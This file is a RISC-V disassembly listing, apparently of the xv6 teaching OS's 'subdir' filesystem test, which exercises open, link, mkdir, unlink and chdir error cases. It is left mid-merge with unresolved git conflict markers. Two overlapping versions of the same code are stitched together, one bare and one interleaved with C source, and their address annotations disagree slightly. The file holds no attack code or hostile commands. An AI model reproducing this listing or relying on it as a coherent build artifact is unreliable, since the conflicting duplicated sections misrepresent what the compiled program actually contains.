2e74: 69c080e7 jalr 1692(ra) # 550c <open>
2e78: 3a055063 bgez a0,3218 <subdir+0x606>
2e7c: 00004597 auipc a1,0x4
2e80: 35458593 addi a1,a1,852 # 71d0 <l_free+0x1768>
2e84: 00004517 auipc a0,0x4
2e88: 28c50513 addi a0,a0,652 # 7110 <l_free+0x16a8>
2e8c: 00002097 auipc ra,0x2
2e90: 6a0080e7 jalr 1696(ra) # 552c <link>
2e94: 3a050063 beqz a0,3234 <subdir+0x622>
2e98: 00004597 auipc a1,0x4
2e9c: 33858593 addi a1,a1,824 # 71d0 <l_free+0x1768>
2ea0: 00004517 auipc a0,0x4
2ea4: 2a050513 addi a0,a0,672 # 7140 <l_free+0x16d8>
2ea8: 00002097 auipc ra,0x2
2eac: 684080e7 jalr 1668(ra) # 552c <link>
2eb0: 3a050063 beqz a0,3250 <subdir+0x63e>
2eb4: 00004597 auipc a1,0x4
2eb8: 0d458593 addi a1,a1,212 # 6f88 <l_free+0x1520>
2ebc: 00004517 auipc a0,0x4
2ec0: fc450513 addi a0,a0,-60 # 6e80 <l_free+0x1418>
2ec4: 00002097 auipc ra,0x2
2ec8: 668080e7 jalr 1640(ra) # 552c <link>
2ecc: 3a050063 beqz a0,326c <subdir+0x65a>
2ed0: 00004517 auipc a0,0x4
2ed4: 24050513 addi a0,a0,576 # 7110 <l_free+0x16a8>
2ed8: 00002097 auipc ra,0x2
2edc: 65c080e7 jalr 1628(ra) # 5534 <mkdir>
2ee0: 3a050463 beqz a0,3288 <subdir+0x676>
2ee4: 00004517 auipc a0,0x4
2ee8: 25c50513 addi a0,a0,604 # 7140 <l_free+0x16d8>
2eec: 00002097 auipc ra,0x2
2ef0: 648080e7 jalr 1608(ra) # 5534 <mkdir>
2ef4: 3a050863 beqz a0,32a4 <subdir+0x692>
2ef8: 00004517 auipc a0,0x4
2efc: 09050513 addi a0,a0,144 # 6f88 <l_free+0x1520>
2f00: 00002097 auipc ra,0x2
2f04: 634080e7 jalr 1588(ra) # 5534 <mkdir>
2f08: 3a050c63 beqz a0,32c0 <subdir+0x6ae>
2f0c: 00004517 auipc a0,0x4
2f10: 23450513 addi a0,a0,564 # 7140 <l_free+0x16d8>
2f14: 00002097 auipc ra,0x2
2f18: 608080e7 jalr 1544(ra) # 551c <unlink>
2f1c: 3c050063 beqz a0,32dc <subdir+0x6ca>
2f20: 00004517 auipc a0,0x4
2f24: 1f050513 addi a0,a0,496 # 7110 <l_free+0x16a8>
2f28: 00002097 auipc ra,0x2
2f2c: 5f4080e7 jalr 1524(ra) # 551c <unlink>
2f30: 3c050463 beqz a0,32f8 <subdir+0x6e6>
2f34: 00004517 auipc a0,0x4
2f38: f4c50513 addi a0,a0,-180 # 6e80 <l_free+0x1418>
2f3c: 00002097 auipc ra,0x2
2f40: 600080e7 jalr 1536(ra) # 553c <chdir>
2f44: 3c050863 beqz a0,3314 <subdir+0x702>
2f48: 00004517 auipc a0,0x4
2f4c: 3d850513 addi a0,a0,984 # 7320 <l_free+0x18b8>
2f50: 00002097 auipc ra,0x2
2f54: 5ec080e7 jalr 1516(ra) # 553c <chdir>
2f58: 3c050c63 beqz a0,3330 <subdir+0x71e>
2f5c: 00004517 auipc a0,0x4
2f60: 02c50513 addi a0,a0,44 # 6f88 <l_free+0x1520>
2f64: 00002097 auipc ra,0x2
2f68: 5b8080e7 jalr 1464(ra) # 551c <unlink>
2f6c: 3e051063 bnez a0,334c <subdir+0x73a>
2f70: 00004517 auipc a0,0x4
2f74: f1050513 addi a0,a0,-240 # 6e80 <l_free+0x1418>
2f78: 00002097 auipc ra,0x2
2f7c: 5a4080e7 jalr 1444(ra) # 551c <unlink>
2f80: 3e051463 bnez a0,3368 <subdir+0x756>
2f84: 00004517 auipc a0,0x4
2f88: edc50513 addi a0,a0,-292 # 6e60 <l_free+0x13f8>
2f8c: 00002097 auipc ra,0x2
2f90: 590080e7 jalr 1424(ra) # 551c <unlink>
2f94: 3e050863 beqz a0,3384 <subdir+0x772>
2f98: 00004517 auipc a0,0x4
2f9c: 3f850513 addi a0,a0,1016 # 7390 <l_free+0x1928>
2fa0: 00002097 auipc ra,0x2
2fa4: 57c080e7 jalr 1404(ra) # 551c <unlink>
2fa8: 3e054c63 bltz a0,33a0 <subdir+0x78e>
2fac: 00004517 auipc a0,0x4
2fb0: eb450513 addi a0,a0,-332 # 6e60 <l_free+0x13f8>
2fb4: 00002097 auipc ra,0x2
2fb8: 568080e7 jalr 1384(ra) # 551c <unlink>
2fbc: 40054063 bltz a0,33bc <subdir+0x7aa>
=======
close(fd);
2de8: 8526 mv a0,s1
2dea: 00002097 auipc ra,0x2
2dee: 70a080e7 jalr 1802(ra) # 54f4 <close>
if (open("dd/dd/ff", O_RDONLY) >= 0) {
2df2: 4581 li a1,0
2df4: 00004517 auipc a0,0x4
2df8: 10c50513 addi a0,a0,268 # 6f00 <l_free+0x149a>
2dfc: 00002097 auipc ra,0x2
2e00: 710080e7 jalr 1808(ra) # 550c <open>
2e04: 38055463 bgez a0,318c <subdir+0x57a>
if (open("dd/ff/ff", O_CREATE | O_RDWR) >= 0) {
2e08: 20200593 li a1,514
2e0c: 00004517 auipc a0,0x4
2e10: 30450513 addi a0,a0,772 # 7110 <l_free+0x16aa>
2e14: 00002097 auipc ra,0x2
2e18: 6f8080e7 jalr 1784(ra) # 550c <open>
2e1c: 38055663 bgez a0,31a8 <subdir+0x596>
if (open("dd/xx/ff", O_CREATE | O_RDWR) >= 0) {
2e20: 20200593 li a1,514
2e24: 00004517 auipc a0,0x4
2e28: 31c50513 addi a0,a0,796 # 7140 <l_free+0x16da>
2e2c: 00002097 auipc ra,0x2
2e30: 6e0080e7 jalr 1760(ra) # 550c <open>
2e34: 38055863 bgez a0,31c4 <subdir+0x5b2>
if (open("dd", O_CREATE) >= 0) {
2e38: 20000593 li a1,512
2e3c: 00004517 auipc a0,0x4
2e40: 02450513 addi a0,a0,36 # 6e60 <l_free+0x13fa>
2e44: 00002097 auipc ra,0x2
2e48: 6c8080e7 jalr 1736(ra) # 550c <open>
2e4c: 38055a63 bgez a0,31e0 <subdir+0x5ce>
if (open("dd", O_RDWR) >= 0) {
2e50: 4589 li a1,2
2e52: 00004517 auipc a0,0x4
2e56: 00e50513 addi a0,a0,14 # 6e60 <l_free+0x13fa>
2e5a: 00002097 auipc ra,0x2
2e5e: 6b2080e7 jalr 1714(ra) # 550c <open>
2e62: 38055d63 bgez a0,31fc <subdir+0x5ea>
if (open("dd", O_WRONLY) >= 0) {
2e66: 4585 li a1,1
2e68: 00004517 auipc a0,0x4
2e6c: ff850513 addi a0,a0,-8 # 6e60 <l_free+0x13fa>
2e70: 00002097 auipc ra,0x2
2e74: 69c080e7 jalr 1692(ra) # 550c <open>
2e78: 3a055063 bgez a0,3218 <subdir+0x606>
if (link("dd/ff/ff", "dd/dd/xx") == 0) {
2e7c: 00004597 auipc a1,0x4
2e80: 35458593 addi a1,a1,852 # 71d0 <l_free+0x176a>
2e84: 00004517 auipc a0,0x4
2e88: 28c50513 addi a0,a0,652 # 7110 <l_free+0x16aa>
2e8c: 00002097 auipc ra,0x2
2e90: 6a0080e7 jalr 1696(ra) # 552c <link>
2e94: 3a050063 beqz a0,3234 <subdir+0x622>
if (link("dd/xx/ff", "dd/dd/xx") == 0) {
2e98: 00004597 auipc a1,0x4
2e9c: 33858593 addi a1,a1,824 # 71d0 <l_free+0x176a>
2ea0: 00004517 auipc a0,0x4
2ea4: 2a050513 addi a0,a0,672 # 7140 <l_free+0x16da>
2ea8: 00002097 auipc ra,0x2
2eac: 684080e7 jalr 1668(ra) # 552c <link>
2eb0: 3a050063 beqz a0,3250 <subdir+0x63e>
if (link("dd/ff", "dd/dd/ffff") == 0) {
2eb4: 00004597 auipc a1,0x4
2eb8: 0d458593 addi a1,a1,212 # 6f88 <l_free+0x1522>
2ebc: 00004517 auipc a0,0x4
2ec0: fc450513 addi a0,a0,-60 # 6e80 <l_free+0x141a>
2ec4: 00002097 auipc ra,0x2
2ec8: 668080e7 jalr 1640(ra) # 552c <link>
2ecc: 3a050063 beqz a0,326c <subdir+0x65a>
if (mkdir("dd/ff/ff") == 0) {
2ed0: 00004517 auipc a0,0x4
2ed4: 24050513 addi a0,a0,576 # 7110 <l_free+0x16aa>
2ed8: 00002097 auipc ra,0x2
2edc: 65c080e7 jalr 1628(ra) # 5534 <mkdir>
2ee0: 3a050463 beqz a0,3288 <subdir+0x676>
if (mkdir("dd/xx/ff") == 0) {
2ee4: 00004517 auipc a0,0x4
2ee8: 25c50513 addi a0,a0,604 # 7140 <l_free+0x16da>
2eec: 00002097 auipc ra,0x2
2ef0: 648080e7 jalr 1608(ra) # 5534 <mkdir>
2ef4: 3a050863 beqz a0,32a4 <subdir+0x692>
if (mkdir("dd/dd/ffff") == 0) {
2ef8: 00004517 auipc a0,0x4
2efc: 09050513 addi a0,a0,144 # 6f88 <l_free+0x1522>
2f00: 00002097 auipc ra,0x2
2f04: 634080e7 jalr 1588(ra) # 5534 <mkdir>
2f08: 3a050c63 beqz a0,32c0 <subdir+0x6ae>
if (unlink("dd/xx/ff") == 0) {
2f0c: 00004517 auipc a0,0x4
2f10: 23450513 addi a0,a0,564 # 7140 <l_free+0x16da>
2f14: 00002097 auipc ra,0x2
2f18: 608080e7 jalr 1544(ra) # 551c <unlink>
2f1c: 3c050063 beqz a0,32dc <subdir+0x6ca>
if (unlink("dd/ff/ff") == 0) {
2f20: 00004517 auipc a0,0x4
2f24: 1f050513 addi a0,a0,496 # 7110 <l_free+0x16aa>
2f28: 00002097 auipc ra,0x2
2f2c: 5f4080e7 jalr 1524(ra) # 551c <unlink>
2f30: 3c050463 beqz a0,32f8 <subdir+0x6e6>
if (chdir("dd/ff") == 0) {
2f34: 00004517 auipc a0,0x4
2f38: f4c50513 addi a0,a0,-180 # 6e80 <l_free+0x141a>
2f3c: 00002097 auipc ra,0x2
2f40: 600080e7 jalr 1536(ra) # 553c <chdir>
2f44: 3c050863 beqz a0,3314 <subdir+0x702>
if (chdir("dd/xx") == 0) {
2f48: 00004517 auipc a0,0x4
2f4c: 3d850513 addi a0,a0,984 # 7320 <l_free+0x18ba>
2f50: 00002097 auipc ra,0x2
2f54: 5ec080e7 jalr 1516(ra) # 553c <chdir>
2f58: 3c050c63 beqz a0,3330 <subdir+0x71e>
if (unlink("dd/dd/ffff") != 0) {
2f5c: 00004517 auipc a0,0x4
2f60: 02c50513 addi a0,a0,44 # 6f88 <l_free+0x1522>
2f64: 00002097 auipc ra,0x2
2f68: 5b8080e7 jalr 1464(ra) # 551c <unlink>
2f6c: 3e051063 bnez a0,334c <subdir+0x73a>
if (unlink("dd/ff") != 0) {
2f70: 00004517 auipc a0,0x4
2f74: f1050513 addi a0,a0,-240 # 6e80 <l_free+0x141a>
2f78: 00002097 auipc ra,0x2
2f7c: 5a4080e7 jalr 1444(ra) # 551c <unlink>
2f80: 3e051463 bnez a0,3368 <subdir+0x756>
if (unlink("dd") == 0) {
2f84: 00004517 auipc a0,0x4
2f88: edc50513 addi a0,a0,-292 # 6e60 <l_free+0x13fa>
2f8c: 00002097 auipc ra,0x2
2f90: 590080e7 jalr 1424(ra) # 551c <unlink>
2f94: 3e050863 beqz a0,3384 <subdir+0x772>
if (unlink("dd/dd") < 0) {
2f98: 00004517 auipc a0,0x4
2f9c: 3f850513 addi a0,a0,1016 # 7390 <l_free+0x192a>
2fa0: 00002097 auipc ra,0x2
2fa4: 57c080e7 jalr 1404(ra) # 551c <unlink>
2fa8: 3e054c63 bltz a0,33a0 <subdir+0x78e>
if (unlink("dd") < 0) {
2fac: 00004517 auipc a0,0x4
2fb0: eb450513 addi a0,a0,-332 # 6e60 <l_free+0x13fa>
2fb4: 00002097 auipc ra,0x2
2fb8: 568080e7 jalr 1384(ra) # 551c <unlink>
2fbc: 40054063 bltz a0,33bc <subdir+0x7aa>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2fc0: 60e2 ld ra,24(sp)
2fc2: 6442 ld s0,16(sp)
2fc4: 64a2 ld s1,8(sp)
2fc6: 6902 ld s2,0(sp)
2fc8: 6105 addi sp,sp,32
2fca: 8082 ret
<<<<<<< HEAD
2fcc: 85ca mv a1,s2
2fce: 00004517 auipc a0,0x4
2fd2: e9a50513 addi a0,a0,-358 # 6e68 <l_free+0x1400>
2fd6: 00003097 auipc ra,0x3
2fda: 870080e7 jalr -1936(ra) # 5846 <printf>
2fde: 4505 li a0,1
2fe0: 00002097 auipc ra,0x2
2fe4: 4ec080e7 jalr 1260(ra) # 54cc <exit>
2fe8: 85ca mv a1,s2
2fea: 00004517 auipc a0,0x4
2fee: e9e50513 addi a0,a0,-354 # 6e88 <l_free+0x1420>
2ff2: 00003097 auipc ra,0x3
2ff6: 854080e7 jalr -1964(ra) # 5846 <printf>
2ffa: 4505 li a0,1
2ffc: 00002097 auipc ra,0x2
3000: 4d0080e7 jalr 1232(ra) # 54cc <exit>
3004: 85ca mv a1,s2
3006: 00004517 auipc a0,0x4
300a: ea250513 addi a0,a0,-350 # 6ea8 <l_free+0x1440>
300e: 00003097 auipc ra,0x3
3012: 838080e7 jalr -1992(ra) # 5846 <printf>
3016: 4505 li a0,1
3018: 00002097 auipc ra,0x2
301c: 4b4080e7 jalr 1204(ra) # 54cc <exit>
3020: 85ca mv a1,s2
3022: 00004517 auipc a0,0x4
3026: ebe50513 addi a0,a0,-322 # 6ee0 <l_free+0x1478>
302a: 00003097 auipc ra,0x3
302e: 81c080e7 jalr -2020(ra) # 5846 <printf>
3032: 4505 li a0,1
3034: 00002097 auipc ra,0x2
3038: 498080e7 jalr 1176(ra) # 54cc <exit>
303c: 85ca mv a1,s2
303e: 00004517 auipc a0,0x4
3042: ed250513 addi a0,a0,-302 # 6f10 <l_free+0x14a8>
3046: 00003097 auipc ra,0x3
304a: 800080e7 jalr -2048(ra) # 5846 <printf>
304e: 4505 li a0,1
3050: 00002097 auipc ra,0x2
3054: 47c080e7 jalr 1148(ra) # 54cc <exit>
3058: 85ca mv a1,s2
305a: 00004517 auipc a0,0x4
305e: eee50513 addi a0,a0,-274 # 6f48 <l_free+0x14e0>
3062: 00002097 auipc ra,0x2
3066: 7e4080e7 jalr 2020(ra) # 5846 <printf>
306a: 4505 li a0,1
306c: 00002097 auipc ra,0x2
3070: 460080e7 jalr 1120(ra) # 54cc <exit>
3074: 85ca mv a1,s2
3076: 00004517 auipc a0,0x4
307a: ef250513 addi a0,a0,-270 # 6f68 <l_free+0x1500>
307e: 00002097 auipc ra,0x2
3082: 7c8080e7 jalr 1992(ra) # 5846 <printf>
3086: 4505 li a0,1
3088: 00002097 auipc ra,0x2
308c: 444080e7 jalr 1092(ra) # 54cc <exit>
3090: 85ca mv a1,s2
3092: 00004517 auipc a0,0x4
3096: f0650513 addi a0,a0,-250 # 6f98 <l_free+0x1530>
309a: 00002097 auipc ra,0x2
309e: 7ac080e7 jalr 1964(ra) # 5846 <printf>
30a2: 4505 li a0,1
30a4: 00002097 auipc ra,0x2
30a8: 428080e7 jalr 1064(ra) # 54cc <exit>
30ac: 85ca mv a1,s2
30ae: 00004517 auipc a0,0x4
30b2: f1250513 addi a0,a0,-238 # 6fc0 <l_free+0x1558>
30b6: 00002097 auipc ra,0x2
30ba: 790080e7 jalr 1936(ra) # 5846 <printf>
30be: 4505 li a0,1
30c0: 00002097 auipc ra,0x2
30c4: 40c080e7 jalr 1036(ra) # 54cc <exit>
30c8: 85ca mv a1,s2
30ca: 00004517 auipc a0,0x4
30ce: f1650513 addi a0,a0,-234 # 6fe0 <l_free+0x1578>
30d2: 00002097 auipc ra,0x2
30d6: 774080e7 jalr 1908(ra) # 5846 <printf>
30da: 4505 li a0,1
30dc: 00002097 auipc ra,0x2
30e0: 3f0080e7 jalr 1008(ra) # 54cc <exit>
30e4: 85ca mv a1,s2
30e6: 00004517 auipc a0,0x4
30ea: f2250513 addi a0,a0,-222 # 7008 <l_free+0x15a0>
30ee: 00002097 auipc ra,0x2
30f2: 758080e7 jalr 1880(ra) # 5846 <printf>
30f6: 4505 li a0,1
30f8: 00002097 auipc ra,0x2
30fc: 3d4080e7 jalr 980(ra) # 54cc <exit>
3100: 85ca mv a1,s2
3102: 00004517 auipc a0,0x4
3106: f2e50513 addi a0,a0,-210 # 7030 <l_free+0x15c8>
310a: 00002097 auipc ra,0x2
310e: 73c080e7 jalr 1852(ra) # 5846 <printf>
3112: 4505 li a0,1
3114: 00002097 auipc ra,0x2
3118: 3b8080e7 jalr 952(ra) # 54cc <exit>
311c: 85ca mv a1,s2
311e: 00004517 auipc a0,0x4
3122: f4250513 addi a0,a0,-190 # 7060 <l_free+0x15f8>
3126: 00002097 auipc ra,0x2
312a: 720080e7 jalr 1824(ra) # 5846 <printf>
312e: 4505 li a0,1
3130: 00002097 auipc ra,0x2
3134: 39c080e7 jalr 924(ra) # 54cc <exit>
3138: 85ca mv a1,s2
313a: 00004517 auipc a0,0x4
313e: f4e50513 addi a0,a0,-178 # 7088 <l_free+0x1620>
3142: 00002097 auipc ra,0x2
3146: 704080e7 jalr 1796(ra) # 5846 <printf>
314a: 4505 li a0,1
314c: 00002097 auipc ra,0x2
3150: 380080e7 jalr 896(ra) # 54cc <exit>
3154: 85ca mv a1,s2
3156: 00004517 auipc a0,0x4
315a: f4a50513 addi a0,a0,-182 # 70a0 <l_free+0x1638>
315e: 00002097 auipc ra,0x2
3162: 6e8080e7 jalr 1768(ra) # 5846 <printf>
3166: 4505 li a0,1
3168: 00002097 auipc ra,0x2
316c: 364080e7 jalr 868(ra) # 54cc <exit>
3170: 85ca mv a1,s2
3172: 00004517 auipc a0,0x4
3176: f4e50513 addi a0,a0,-178 # 70c0 <l_free+0x1658>
317a: 00002097 auipc ra,0x2
317e: 6cc080e7 jalr 1740(ra) # 5846 <printf>
3182: 4505 li a0,1
3184: 00002097 auipc ra,0x2
3188: 348080e7 jalr 840(ra) # 54cc <exit>
318c: 85ca mv a1,s2
318e: 00004517 auipc a0,0x4
3192: f5250513 addi a0,a0,-174 # 70e0 <l_free+0x1678>
3196: 00002097 auipc ra,0x2
319a: 6b0080e7 jalr 1712(ra) # 5846 <printf>
319e: 4505 li a0,1
31a0: 00002097 auipc ra,0x2
31a4: 32c080e7 jalr 812(ra) # 54cc <exit>
31a8: 85ca mv a1,s2
31aa: 00004517 auipc a0,0x4
31ae: f7650513 addi a0,a0,-138 # 7120 <l_free+0x16b8>
31b2: 00002097 auipc ra,0x2
31b6: 694080e7 jalr 1684(ra) # 5846 <printf>
31ba: 4505 li a0,1
31bc: 00002097 auipc ra,0x2
31c0: 310080e7 jalr 784(ra) # 54cc <exit>
31c4: 85ca mv a1,s2
31c6: 00004517 auipc a0,0x4
31ca: f8a50513 addi a0,a0,-118 # 7150 <l_free+0x16e8>
31ce: 00002097 auipc ra,0x2
31d2: 678080e7 jalr 1656(ra) # 5846 <printf>
31d6: 4505 li a0,1
31d8: 00002097 auipc ra,0x2
31dc: 2f4080e7 jalr 756(ra) # 54cc <exit>
31e0: 85ca mv a1,s2
31e2: 00004517 auipc a0,0x4
31e6: f8e50513 addi a0,a0,-114 # 7170 <l_free+0x1708>
31ea: 00002097 auipc ra,0x2
31ee: 65c080e7 jalr 1628(ra) # 5846 <printf>
31f2: 4505 li a0,1
31f4: 00002097 auipc ra,0x2
31f8: 2d8080e7 jalr 728(ra) # 54cc <exit>
31fc: 85ca mv a1,s2
31fe: 00004517 auipc a0,0x4
3202: f9250513 addi a0,a0,-110 # 7190 <l_free+0x1728>
3206: 00002097 auipc ra,0x2
320a: 640080e7 jalr 1600(ra) # 5846 <printf>
320e: 4505 li a0,1
3210: 00002097 auipc ra,0x2
3214: 2bc080e7 jalr 700(ra) # 54cc <exit>
3218: 85ca mv a1,s2
321a: 00004517 auipc a0,0x4
321e: f9650513 addi a0,a0,-106 # 71b0 <l_free+0x1748>
3222: 00002097 auipc ra,0x2
3226: 624080e7 jalr 1572(ra) # 5846 <printf>
322a: 4505 li a0,1
322c: 00002097 auipc ra,0x2
3230: 2a0080e7 jalr 672(ra) # 54cc <exit>
3234: 85ca mv a1,s2
3236: 00004517 auipc a0,0x4
323a: faa50513 addi a0,a0,-86 # 71e0 <l_free+0x1778>
323e: 00002097 auipc ra,0x2
3242: 608080e7 jalr 1544(ra) # 5846 <printf>
3246: 4505 li a0,1
3248: 00002097 auipc ra,0x2
324c: 284080e7 jalr 644(ra) # 54cc <exit>
3250: 85ca mv a1,s2
3252: 00004517 auipc a0,0x4
3256: fb650513 addi a0,a0,-74 # 7208 <l_free+0x17a0>
325a: 00002097 auipc ra,0x2
325e: 5ec080e7 jalr 1516(ra) # 5846 <printf>
3262: 4505 li a0,1
3264: 00002097 auipc ra,0x2
3268: 268080e7 jalr 616(ra) # 54cc <exit>
326c: 85ca mv a1,s2
326e: 00004517 auipc a0,0x4
3272: fc250513 addi a0,a0,-62 # 7230 <l_free+0x17c8>
3276: 00002097 auipc ra,0x2
327a: 5d0080e7 jalr 1488(ra) # 5846 <printf>
327e: 4505 li a0,1
3280: 00002097 auipc ra,0x2
3284: 24c080e7 jalr 588(ra) # 54cc <exit>
3288: 85ca mv a1,s2
328a: 00004517 auipc a0,0x4
328e: fce50513 addi a0,a0,-50 # 7258 <l_free+0x17f0>
3292: 00002097 auipc ra,0x2
3296: 5b4080e7 jalr 1460(ra) # 5846 <printf>
329a: 4505 li a0,1
329c: 00002097 auipc ra,0x2
32a0: 230080e7 jalr 560(ra) # 54cc <exit>
32a4: 85ca mv a1,s2
32a6: 00004517 auipc a0,0x4
32aa: fd250513 addi a0,a0,-46 # 7278 <l_free+0x1810>
32ae: 00002097 auipc ra,0x2
32b2: 598080e7 jalr 1432(ra) # 5846 <printf>
32b6: 4505 li a0,1
32b8: 00002097 auipc ra,0x2
32bc: 214080e7 jalr 532(ra) # 54cc <exit>
32c0: 85ca mv a1,s2
32c2: 00004517 auipc a0,0x4
32c6: fd650513 addi a0,a0,-42 # 7298 <l_free+0x1830>
32ca: 00002097 auipc ra,0x2
32ce: 57c080e7 jalr 1404(ra) # 5846 <printf>
32d2: 4505 li a0,1
32d4: 00002097 auipc ra,0x2
32d8: 1f8080e7 jalr 504(ra) # 54cc <exit>
32dc: 85ca mv a1,s2
32de: 00004517 auipc a0,0x4
32e2: fe250513 addi a0,a0,-30 # 72c0 <l_free+0x1858>
32e6: 00002097 auipc ra,0x2
32ea: 560080e7 jalr 1376(ra) # 5846 <printf>
32ee: 4505 li a0,1
32f0: 00002097 auipc ra,0x2
32f4: 1dc080e7 jalr 476(ra) # 54cc <exit>
32f8: 85ca mv a1,s2
32fa: 00004517 auipc a0,0x4
32fe: fe650513 addi a0,a0,-26 # 72e0 <l_free+0x1878>
3302: 00002097 auipc ra,0x2
3306: 544080e7 jalr 1348(ra) # 5846 <printf>
330a: 4505 li a0,1
330c: 00002097 auipc ra,0x2
3310: 1c0080e7 jalr 448(ra) # 54cc <exit>
3314: 85ca mv a1,s2
3316: 00004517 auipc a0,0x4
331a: fea50513 addi a0,a0,-22 # 7300 <l_free+0x1898>
331e: 00002097 auipc ra,0x2
3322: 528080e7 jalr 1320(ra) # 5846 <printf>
3326: 4505 li a0,1
3328: 00002097 auipc ra,0x2
332c: 1a4080e7 jalr 420(ra) # 54cc <exit>
3330: 85ca mv a1,s2
3332: 00004517 auipc a0,0x4
3336: ff650513 addi a0,a0,-10 # 7328 <l_free+0x18c0>
333a: 00002097 auipc ra,0x2
333e: 50c080e7 jalr 1292(ra) # 5846 <printf>
3342: 4505 li a0,1
3344: 00002097 auipc ra,0x2
3348: 188080e7 jalr 392(ra) # 54cc <exit>
334c: 85ca mv a1,s2
334e: 00004517 auipc a0,0x4
3352: c7250513 addi a0,a0,-910 # 6fc0 <l_free+0x1558>
3356: 00002097 auipc ra,0x2
335a: 4f0080e7 jalr 1264(ra) # 5846 <printf>
335e: 4505 li a0,1
3360: 00002097 auipc ra,0x2
3364: 16c080e7 jalr 364(ra) # 54cc <exit>
3368: 85ca mv a1,s2
336a: 00004517 auipc a0,0x4
336e: fde50513 addi a0,a0,-34 # 7348 <l_free+0x18e0>
3372: 00002097 auipc ra,0x2
3376: 4d4080e7 jalr 1236(ra) # 5846 <printf>
337a: 4505 li a0,1
337c: 00002097 auipc ra,0x2
3380: 150080e7 jalr 336(ra) # 54cc <exit>
3384: 85ca mv a1,s2
3386: 00004517 auipc a0,0x4
338a: fe250513 addi a0,a0,-30 # 7368 <l_free+0x1900>
338e: 00002097 auipc ra,0x2
3392: 4b8080e7 jalr 1208(ra) # 5846 <printf>
3396: 4505 li a0,1
3398: 00002097 auipc ra,0x2
339c: 134080e7 jalr 308(ra) # 54cc <exit>
33a0: 85ca mv a1,s2
33a2: 00004517 auipc a0,0x4
33a6: ff650513 addi a0,a0,-10 # 7398 <l_free+0x1930>
33aa: 00002097 auipc ra,0x2
33ae: 49c080e7 jalr 1180(ra) # 5846 <printf>
33b2: 4505 li a0,1
33b4: 00002097 auipc ra,0x2
33b8: 118080e7 jalr 280(ra) # 54cc <exit>
33bc: 85ca mv a1,s2
33be: 00004517 auipc a0,0x4
33c2: ffa50513 addi a0,a0,-6 # 73b8 <l_free+0x1950>
33c6: 00002097 auipc ra,0x2
33ca: 480080e7 jalr 1152(ra) # 5846 <printf>
=======
printf("%s: mkdir dd failed\n", s);
2fcc: 85ca mv a1,s2
2fce: 00004517 auipc a0,0x4
2fd2: e9a50513 addi a0,a0,-358 # 6e68 <l_free+0x1402>
2fd6: 00003097 auipc ra,0x3
2fda: 86e080e7 jalr -1938(ra) # 5844 <printf>
exit(1);
2fde: 4505 li a0,1
2fe0: 00002097 auipc ra,0x2
2fe4: 4ec080e7 jalr 1260(ra) # 54cc <exit>
printf("%s: create dd/ff failed\n", s);
2fe8: 85ca mv a1,s2
2fea: 00004517 auipc a0,0x4
2fee: e9e50513 addi a0,a0,-354 # 6e88 <l_free+0x1422>
2ff2: 00003097 auipc ra,0x3
2ff6: 852080e7 jalr -1966(ra) # 5844 <printf>
exit(1);
2ffa: 4505 li a0,1
2ffc: 00002097 auipc ra,0x2
3000: 4d0080e7 jalr 1232(ra) # 54cc <exit>
printf("%s: unlink dd (non-empty dir) succeeded!\n", s);
3004: 85ca mv a1,s2
3006: 00004517 auipc a0,0x4
300a: ea250513 addi a0,a0,-350 # 6ea8 <l_free+0x1442>
300e: 00003097 auipc ra,0x3
3012: 836080e7 jalr -1994(ra) # 5844 <printf>
exit(1);
3016: 4505 li a0,1
3018: 00002097 auipc ra,0x2
301c: 4b4080e7 jalr 1204(ra) # 54cc <exit>
printf("subdir mkdir dd/dd failed\n", s);
3020: 85ca mv a1,s2
3022: 00004517 auipc a0,0x4
3026: ebe50513 addi a0,a0,-322 # 6ee0 <l_free+0x147a>
302a: 00003097 auipc ra,0x3
302e: 81a080e7 jalr -2022(ra) # 5844 <printf>
exit(1);
3032: 4505 li a0,1
3034: 00002097 auipc ra,0x2
3038: 498080e7 jalr 1176(ra) # 54cc <exit>
printf("%s: create dd/dd/ff failed\n", s);
303c: 85ca mv a1,s2
303e: 00004517 auipc a0,0x4
3042: ed250513 addi a0,a0,-302 # 6f10 <l_free+0x14aa>
3046: 00002097 auipc ra,0x2
304a: 7fe080e7 jalr 2046(ra) # 5844 <printf>
exit(1);
304e: 4505 li a0,1
3050: 00002097 auipc ra,0x2
3054: 47c080e7 jalr 1148(ra) # 54cc <exit>
printf("%s: open dd/dd/../ff failed\n", s);
3058: 85ca mv a1,s2
305a: 00004517 auipc a0,0x4
305e: eee50513 addi a0,a0,-274 # 6f48 <l_free+0x14e2>
3062: 00002097 auipc ra,0x2
3066: 7e2080e7 jalr 2018(ra) # 5844 <printf>
exit(1);
306a: 4505 li a0,1
306c: 00002097 auipc ra,0x2
3070: 460080e7 jalr 1120(ra) # 54cc <exit>
printf("%s: dd/dd/../ff wrong content\n", s);
3074: 85ca mv a1,s2
3076: 00004517 auipc a0,0x4
307a: ef250513 addi a0,a0,-270 # 6f68 <l_free+0x1502>
307e: 00002097 auipc ra,0x2
3082: 7c6080e7 jalr 1990(ra) # 5844 <printf>
exit(1);
3086: 4505 li a0,1
3088: 00002097 auipc ra,0x2
308c: 444080e7 jalr 1092(ra) # 54cc <exit>
printf("link dd/dd/ff dd/dd/ffff failed\n", s);
3090: 85ca mv a1,s2
3092: 00004517 auipc a0,0x4
3096: f0650513 addi a0,a0,-250 # 6f98 <l_free+0x1532>
309a: 00002097 auipc ra,0x2
309e: 7aa080e7 jalr 1962(ra) # 5844 <printf>
exit(1);
30a2: 4505 li a0,1
30a4: 00002097 auipc ra,0x2
30a8: 428080e7 jalr 1064(ra) # 54cc <exit>
printf("%s: unlink dd/dd/ff failed\n", s);
30ac: 85ca mv a1,s2
30ae: 00004517 auipc a0,0x4
30b2: f1250513 addi a0,a0,-238 # 6fc0 <l_free+0x155a>
30b6: 00002097 auipc ra,0x2
30ba: 78e080e7 jalr 1934(ra) # 5844 <printf>
exit(1);
30be: 4505 li a0,1
30c0: 00002097 auipc ra,0x2
30c4: 40c080e7 jalr 1036(ra) # 54cc <exit>
printf("%s: open (unlinked) dd/dd/ff succeeded\n", s);
30c8: 85ca mv a1,s2
30ca: 00004517 auipc a0,0x4
30ce: f1650513 addi a0,a0,-234 # 6fe0 <l_free+0x157a>
30d2: 00002097 auipc ra,0x2
30d6: 772080e7 jalr 1906(ra) # 5844 <printf>
exit(1);
30da: 4505 li a0,1
30dc: 00002097 auipc ra,0x2
30e0: 3f0080e7 jalr 1008(ra) # 54cc <exit>
printf("%s: chdir dd failed\n", s);
30e4: 85ca mv a1,s2
30e6: 00004517 auipc a0,0x4
